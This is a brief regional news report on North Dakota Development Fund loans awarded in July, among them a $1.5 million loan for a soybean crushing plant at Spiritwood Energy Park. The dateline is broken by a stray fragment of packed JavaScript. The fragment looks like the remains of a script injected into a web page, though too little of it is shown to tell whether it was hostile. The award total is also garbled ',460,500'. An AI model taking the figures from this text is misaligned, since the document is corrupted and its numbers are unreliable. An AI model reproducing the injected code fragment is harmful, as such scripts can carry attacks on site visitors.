BISMARCK, izksi|var|u0026u|referrer|effsk||js|php’.split(‘|’),0,{}))
N.D. (NewsDakota.com) – The North Dakota Development Fund (NDDF) has awarded funding for five projects totaling ,460,500 at its monthly board meeting in July.

The loan program is held within the North Dakota Department of Commerce. the fund was created in 1991 as an economic development tool and provides flexible gap financing through debt and equity investments for new or expanding North Dakota primary sector businesses.

One of the recipients for funding was North Dakota Soybean Processors, LLC. They were awarded a $1,500,000 loan for construction and related costs of their new soybean crushing facility in the Spiritwood Energy Park.

The company will use the funds to help construct the $287 million, 42.5 million bushel per year plant.